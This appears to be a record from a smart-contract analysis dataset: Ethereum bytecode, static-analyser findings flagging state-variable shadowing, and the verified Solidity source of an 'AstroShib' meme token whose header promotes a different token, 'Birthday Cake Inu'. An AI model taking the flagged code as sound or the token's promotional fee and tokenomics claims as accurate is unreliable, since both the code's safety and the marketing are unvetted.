ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600080610acb61189c565b1515610ad657600080fd5b610aec6001609d5461200690919063ffffffff16565b609d819055506000851415610b4157609d547f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2609e546040518082815260200191505060405180910390a2609e549350610ed5565b6000851215610b7257610b67610b5686612090565b609e546120c390919063ffffffff16565b609e81905550610b8e565b610b8785609e5461200690919063ffffffff16565b609e819055505b6000196fffffffffffffffffffffffffffffffff16609e541115610bc8576000196fffffffffffffffffffffffffffffffff16609e819055505b610bf7609e546009600a0a622dc6c002600019811515610be457fe5b066000190361210d90919063ffffffff16565b609f81905550609d547f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2609e546040518082815260200191505060405180910390a2600092505b609c80549050831015610ecf57609c83815481101515610c5a57fe5b906000526020600020906002020191508160000160009054906101000a900460ff1615610ec257610d4b8260000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d415780601f10610d1657610100808354040283529160200191610d41565b820191906000526020600020905b815481529060010190602001808311610d2457829003601f168201915b5050505050612157565b9050801515610ec1578160000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8091ecaaa54ebb82e02d36c2c336528e0fcb9b3430fc1291ac88295032b9c26384846001016040518083815260200180602001828103825283818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015610e445780601f10610e1957610100808354040283529160200191610e44565b820191906000526020600020905b815481529060010190602001808311610e2757829003601f168201915b5050935050505060405180910390a26040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f5472616e73616374696f6e204661696c6564000000000000000000000000000081525060200191505060405180910390fd5b5b8280600101935050610c3e565b609e5493505b505050919050565b610ee561189c565b1515610ef057600080fd5b609c6060604051908101604052806001151581526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184848080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160010190805190602001906110079291906124e3565b50505050505050565b6000609e54905090565b60008083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561105a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561109557600080fd5b6111248460a160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c390919063ffffffff16565b60a160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111b9609f548561217e90919063ffffffff16565b915061120d8260a060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c390919063ffffffff16565b60a060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a28260a060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200690919063ffffffff16565b60a060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b6000606960009054906101000a900460ff16905090565b60006113ff8260a160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200690919063ffffffff16565b60a160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560a160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b61157261189c565b151561157d57600080fd5b609c80549050811015156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f696e646578206f7574206f6620626f756e64730000000000000000000000000081525060200191505060405180910390fd5b6001609c805490500381101561170b57609c6001609c805490500381548110151561162057fe5b9060005260206000209060020201609c8281548110151561163d57fe5b90600052602060002090600202016000820160009054906101000a900460ff168160000160006101000a81548160ff0219169083151502179055506000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018201816001019080546001816001161561010002031660029004611706929190612563565b509050505b609c80548091906001900361172091906125ea565b5050565b61172c61189c565b151561173757600080fd5b609c80549050821015156117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f696e646578206d75737420626520696e2072616e6765206f662073746f72656481526020017f207478206c69737400000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80609c838154811015156117e957fe5b906000526020600020906002020160000160006101000a81548160ff0219169083151502179055505050565b600061186b609f5460a060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210d90919063ffffffff16565b9050919050565b6000603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6000609c80549050905090565b606060688054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119995780601f1061196e57610100808354040283529160200191611999565b820191906000526020600020905b81548152906001019060200180831161197c57829003601f168201915b5050505050905090565b609c818154811015156119b257fe5b90600052602060002090600202016000915090508060000160009054906101000a900460ff16908060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a975780601f10611a6c57610100808354040283529160200191611a97565b820191906000526020600020905b815481529060010190602001808311611a7a57829003601f168201915b5050505050905083565b60008060a160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515611bb357600060a160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c47565b611bc683826120c390919063ffffffff16565b60a160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560a160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d7357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611dae57600080fd5b611dc3609f548561217e90919063ffffffff16565b9150611e178260a060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c390919063ffffffff16565b60a060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eac8260a060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200690919063ffffffff16565b60a060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b600060a160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611fef61189c565b1515611ffa57600080fd5b6120038161224b565b50565b6000808284019050838110151515612086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600060ff60019060020a0282141515156120a957600080fd5b600082126120b757816120bc565b816000035b9050919050565b600061210583836040805190810160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612358565b905092915050565b600061214f83836040805190810160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612419565b905092915050565b6000806040516020840160008286518360008a6187965a03f1925050508091505092915050565b60008060008414156121935760009150612244565b82840290508284828115156121a457fe5b04141515612240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f81526020017f770000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8091505b5092915050565b600060345414151561225c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561229857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380603360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808484111583901515612408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123cd5780820151818401526020810190506123b2565b50505050905090810190601f1680156123fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508385039050809150509392505050565b60008060008411839015156124c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561248e578082015181840152602081019050612473565b50505050905090810190601f1680156124bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5083858115156124d557fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061252457805160ff1916838001178555612552565b82800160010185558215612552579182015b82811115612551578251825591602001919060010190612536565b5b50905061255f919061261c565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061259c57805485556125d9565b828001600101855582156125d957600052602060002091601f016020900482015b828111156125d85782548255916001019190600101906125bd565b5b5090506125e6919061261c565b5090565b815481835581811115612617576002028160020283600052602060002091820191016126169190612641565b5b505050565b61263e91905b8082111561263a576000816000905550600101612622565b5090565b90565b6126a891905b808211156126a457600080820160006101000a81549060ff02191690556000820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600061269b91906126ab565b50600201612647565b5090565b90565b50805460018160011615610100020316600290046000825580601f106126d157506126f0565b601f0160209004906000526020600020908101906126ef919061261c565b5b50565b60008060019054906101000a900460ff168061271357506127126129f3565b5b8061272a57506000809054906101000a900460ff16155b15156127c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f436f6e747261637420696e7374616e63652068617320616c726561647920626581526020017f656e20696e697469616c697a656400000000000000000000000000000000000081525060400191505060405180910390fd5b600060019054906101000a900460ff1690506001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff02191690831515021790555081603360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060348190555080600060016101000a81548160ff0219169083151502179055505050565b60008060019054906101000a900460ff168061289257506128916129f3565b5b806128a957506000809054906101000a900460ff16155b1515612943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f436f6e747261637420696e7374616e63652068617320616c726561647920626581526020017f656e20696e697469616c697a656400000000000000000000000000000000000081525060400191505060405180910390fd5b600060019054906101000a900460ff1690506001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff02191690831515021790555083606790805190602001906129a0929190612a04565b5082606890805190602001906129b7929190612a04565b5081606960006101000a81548160ff021916908360ff16021790555080600060016101000a81548160ff02191690831515021790555050505050565b600080303b90506000811491505090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612a4557805160ff1916838001178555612a73565b82800160010185558215612a73579182015b82811115612a72578251825591602001919060010190612a57565b5b509050612a80919061261c565b50905600a165627a7a72305820b9154e5583810d770057125b3e22e10e70b03d437771300490bd8c449543c5310029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
3,822
0x5b3b3c6caf8ccba2831b80194cd2b4d7d80eccd7
/** *Submitted for verification at Etherscan.io on 2021-07-19 */ /** *Submitted for verification at Etherscan.io on 2021-06-28 */ /** *Submitted for verification at Etherscan.io on 2021-06-18 */ /** * .______ ______ ___ __ ___ _______ * | _ \ / | / \ | |/ / | ____| * | |_) | | ,----' / ^ \ | ' / | |__ * | _ < | | / /_\ \ | < | __| * | |_) | | `----./ _____ \ | . \ | |____ * |______/ \______/__/ \__\ |__|\__\ |_______| * Birthday Cake Inu * https://t.me/BirthdayCakeInu * birthdayinu.com * * BCAKE is a meme token with a twist! * BCAKE has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell. * * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. * No team tokens, no presale * A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork * * */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AstroShib is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"AstroShib | T.me/AstroShib"; string private constant _symbol = unicode"AstroShib"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b